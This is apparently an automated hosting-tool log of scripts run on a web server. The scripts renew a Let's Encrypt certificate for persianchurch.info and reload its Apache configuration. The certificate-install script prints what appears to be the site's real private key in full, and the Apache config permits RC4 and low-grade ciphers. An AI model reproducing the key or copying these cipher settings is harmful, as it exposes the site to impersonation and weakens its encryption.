MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-26 13:36:45: Establishing a connection
2026-02-26 13:36:46: Establishing a connection
2026-02-26 13:36:47: 

PUT: /tmp/pkp143380

#!/bin/bash
if [ -d "/var/www/persianchurch_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-26 13:36:48: 

chmod 755 /tmp/pkp143380; /tmp/pkp143380; rm /tmp/pkp143380

2026-02-26 13:36:49: 


1


2026-02-26 13:36:50: Establishing a connection
2026-02-26 13:36:51: 

PUT: /tmp/pkp827463

#!/bin/bash
mkdir -p "/var/www/persianchurch_www/.well-known/acme-challenge/"
cd "/var/www/persianchurch_www/.well-known/acme-challenge/"
cat > _CrwQ35azWZSTp66MazP-1lgvNPjZgKVAqguPSw8hv4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
_CrwQ35azWZSTp66MazP-1lgvNPjZgKVAqguPSw8hv4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 _CrwQ35azWZSTp66MazP-1lgvNPjZgKVAqguPSw8hv4
cat > sXQ9wI1dEEw-cKouGB1qu8F03DVuHUSwaULod1nDY7E <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
sXQ9wI1dEEw-cKouGB1qu8F03DVuHUSwaULod1nDY7E.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 sXQ9wI1dEEw-cKouGB1qu8F03DVuHUSwaULod1nDY7E


2026-02-26 13:36:52: 

chmod 755 /tmp/pkp827463; /tmp/pkp827463; rm /tmp/pkp827463

2026-02-26 13:36:53: 




2026-02-26 13:37:03: Establishing a connection
2026-02-26 13:37:04: 

PUT: /tmp/pkp136396

#!/bin/bash
mkdir -p "/var/www/persianchurch_www/.well-known/acme-challenge/"
cd "/var/www/persianchurch_www/.well-known/acme-challenge/"
rm _CrwQ35azWZSTp66MazP-1lgvNPjZgKVAqguPSw8hv4
rm sXQ9wI1dEEw-cKouGB1qu8F03DVuHUSwaULod1nDY7E


2026-02-26 13:37:06: 

chmod 755 /tmp/pkp136396; /tmp/pkp136396; rm /tmp/pkp136396

2026-02-26 13:37:06: 




2026-02-26 13:37:06: Establishing a connection
2026-02-26 13:37:07: 

PUT: /tmp/pkp642889

#!/bin/bash
temp_file=$(mktemp)
TARGET=66fe979384f486c79f8519a848115361.crt

cat > $temp_file <<'endmsg'
1d:51:1c:5a:75:27:ce:00:0d:20:57:59:90:95:68:21

-----BEGIN CERTIFICATE-----
MIIFGDCCBACgAwIBAgISBixrK4upxFF6Et2MggePljMMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjI2MTIzODMwWhcNMjYwNTI3MTIzODI5WjAdMRswGQYDVQQD
ExJwZXJzaWFuY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCceyePbQfMv/m5TnJvG9Ngi9XZKOcg82tZUGDsl65XAlDH6LPF9IVVYLS/
/dR+feaCizesMSFktV3nTTCrDZd7jNlT/2rlUBcfeV6ZuGLaTLLlqL38c4cKN8PB
t6X2IXO43haWThiJ1quqFuJFXeuP3hL7Yrkvnkdybnvy8n2Jj7JqcRdrzoqWY/I2
0TzM6GnisAJUZ9KnSq/8e/U9k9KwBXbmIdrJctmae2dpkG5/aVek1yNUyHpL9mvR
axhExPvGjerpZB1WnG5ocB++c2azr4vTe/IP0PqkLJgPcz6EjfiTm0iOB6UaZNQe
EqwL/zwGsPWb27I5CefFc8BppokNAgMBAAGjggI6MIICNjAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
io6E8P/azID5IIlPatOKYP8N1MIwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD76
3OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJwZXJzaWFuY2h1cmNoLmluZm+CFnd3dy5w
ZXJzaWFuY2h1cmNoLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMy5jcmwwggEOBgorBgEE
AdZ5AgQCBIH/BIH8APoAfwBxfpXzwjiKbbHjhEk9MeFaqWIIdi1CAOAFDNBntaZh
4gAAAZyaKskYAAgAAAUACmMEjwQDAEgwRgIhAI+4xan0J8BmBIJzdV6ErSY7XI5P
Euw3E25B2leSwnniAiEAzWV3KmJ7hLKt4Mj0Vm6s16XXBvjPr8L4/zuALcooVtUA
dwBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZyaKtBmAAAEAwBI
MEYCIQDe69Guvls/MbvhIhfq+4TWXgJnKbrTUddCJjykmTf2QwIhALuvsLLAkmgK
5jxSmIhpzF3ZMfcKq9816zHE017s7YbyMA0GCSqGSIb3DQEBCwUAA4IBAQCL6//+
yAdpYMF98LywDkA5rk/h+0WTpQHk92RjNaFRzkTFGZIBJc/YsbjAHDjhyns/2GFd
E7PAdN8m78MH0kbedXAfNAOqWfBicd3LRBMK7HRFUAoROmyZ6ToJKUWy9D8swSax
uD/sdlidaU9v1XtVYwxSbWRaA4XgCgneETfrE6pJT8NFWKF1ODXq8M3Br3VYlG0H
OoWLP1GyBSnG8JzMEvAQy6COqUddKeZCmGvudnaBnIcpkCC8pk7IIxq/Fb8HByoJ
WKCtCQ/btG0cwG7dQuitEsQ46MZlWu7XBSH7fj4eiqWlWioTn6DIbVEKPpev3Yjy
EnN3pujAiZcyUT9P
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCceyePbQfMv/m5
TnJvG9Ngi9XZKOcg82tZUGDsl65XAlDH6LPF9IVVYLS//dR+feaCizesMSFktV3n
TTCrDZd7jNlT/2rlUBcfeV6ZuGLaTLLlqL38c4cKN8PBt6X2IXO43haWThiJ1quq
FuJFXeuP3hL7Yrkvnkdybnvy8n2Jj7JqcRdrzoqWY/I20TzM6GnisAJUZ9KnSq/8
e/U9k9KwBXbmIdrJctmae2dpkG5/aVek1yNUyHpL9mvRaxhExPvGjerpZB1WnG5o
cB++c2azr4vTe/IP0PqkLJgPcz6EjfiTm0iOB6UaZNQeEqwL/zwGsPWb27I5CefF
c8BppokNAgMBAAECggEAICoUXJ/drZF8ZEGitgHzNfIoV8XXlGdUlnw2IAuhk1Lv
hdfoM/Vp/r2tCZXEOufoHMc+/07t/URmc+fi7BYUIBo4hdKHh3Ep/5c0Acbr0tFX
KGvB+YVJqakCvOvh2jDQF5zW6bhNxO9yQ7kGc5m1lNHh9vg49nfDWdsp8Ss08LRd
f4eP5myEHTsSPwcVH/3SQsWnVf1lLOkM5naGobCM/c4xloiu+e+idkzdBIn2IezL
vOf5NsQWKINK5EiHubXwaAyr8wvwaNZCjMLdVvDOEtULY9XY/W28CrlXpHKh24dc
+x2T0wSv47cT/64YfuJ7+IAjT/DcAI685QGe20bywQKBgQDKleVHMOdaltP9dSJF
OdTvVRHP6bCG/TcW7fbjwyBnZilPmsLjZ84H8odg9XT6Hz1VIM+ZknjRiSlS9Wyp
jIM8nNORNINjzXHtcXlh0PprVqzNSm+Nf+qOQeIOFyJZveqVoJutRWTo6FrFL8Ha
hJsgTy6tV8cYJXpoGlxViA2eMQKBgQDFvU2psNBL9SnqaqishvPjvzNRTgaADU9e
TmcFgHi6Kp0+VQnqKXnc43eGflALWAomx9cm9pqXtAH1PD1y6j4/cFNUtsLmLhFz
DbQX/YJP/nvQLFMNXhPQgZVGHIgwWdZdLpVu/lvyojghAhPtUBJH3OgDW1GfxQXY
fzOyn1qVnQKBgAh9A2BaQjdffn5uPANeiveEPvzRM95UGczSJ7gfYuoyM6TsPSI+
JTncBaQgZMheKrm4aDptErbk4mBhfC4WfyE5CPxakO7LmuxyBr38faGlvhPT/JyX
MYLIa+pfOcc81+lxE1TNRY8kvTjp6Vt4lu9hofkNZoAygdB+2kOTMc7hAoGAYY8K
WCRiQHeO3JcO7UAP6FeXLBAA6QCoHfE0puRBrCgGOJCgOaWI+FBJ0lNTjqU7LPL/
1btpfltTc/jqoF2tpIL4uh0Jf6NO/KLQLd3ngywdThHwT/IQeJjWWycMkj5gosyu
8XoRR159rttllXoh6s60saNGXDtKrQvlJ8WzXYkCgYEAwwr4xwYqhkHj3CRtaOZW
rv47PFLoerq47YgTwTz1iaKX51bFOoNsTJ4u/p8AP+wjjkUeeHKvHse8wIeWRdXi
zMS4tA0UAMgQHoX4EGazRXmaVVxOTtkbf7Dop9xb45VpCiZ4ooMv0EVWfc8iC1wF
hWU79FNH6b2xlSpUcQSkvM4=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-26 13:37:08: 

chmod 755 /tmp/pkp642889; /tmp/pkp642889; rm /tmp/pkp642889

2026-02-26 13:37:08: 


dir=/etc/ssl/certs


2026-02-26 13:37:08: 

PUT: /tmp/pkp679348

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/persianchurch_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-26 13:37:09: 

chmod 755 /tmp/pkp679348; /tmp/pkp679348; rm /tmp/pkp679348

2026-02-26 13:37:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/persianchurch_www_info.conf 46

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-26 13:37:09: 

PUT: /tmp/pkp210540

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=persianchurch_www_info.conf
TARGET=/etc/apache2/sites-enabled/persianchurch_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/persianchurch_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/persianchurch_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/persianchurch_www_info.conf= 1'
fi


2026-02-26 13:37:10: 

chmod 755 /tmp/pkp210540; /tmp/pkp210540; rm /tmp/pkp210540

2026-02-26 13:37:10: 




2026-02-26 13:37:10: 

PUT: /tmp/pkp450280

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-26 13:37:10: 

chmod 755 /tmp/pkp450280; /tmp/pkp450280; rm /tmp/pkp450280

2026-02-26 13:37:11: 


.


2026-02-26 13:37:11: Establishing a connection
2026-02-26 13:37:12: 

PUT: /tmp/pkp101754

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-26 13:37:13: 

chmod 755 /tmp/pkp101754; /tmp/pkp101754; rm /tmp/pkp101754

2026-02-26 13:37:13: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
                 alias www.carelinks.net
         port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
                 alias www.carelinks.org
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443                  is a NameVirtualHost
         default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
         port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
                 alias www.carelinks.net
         port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
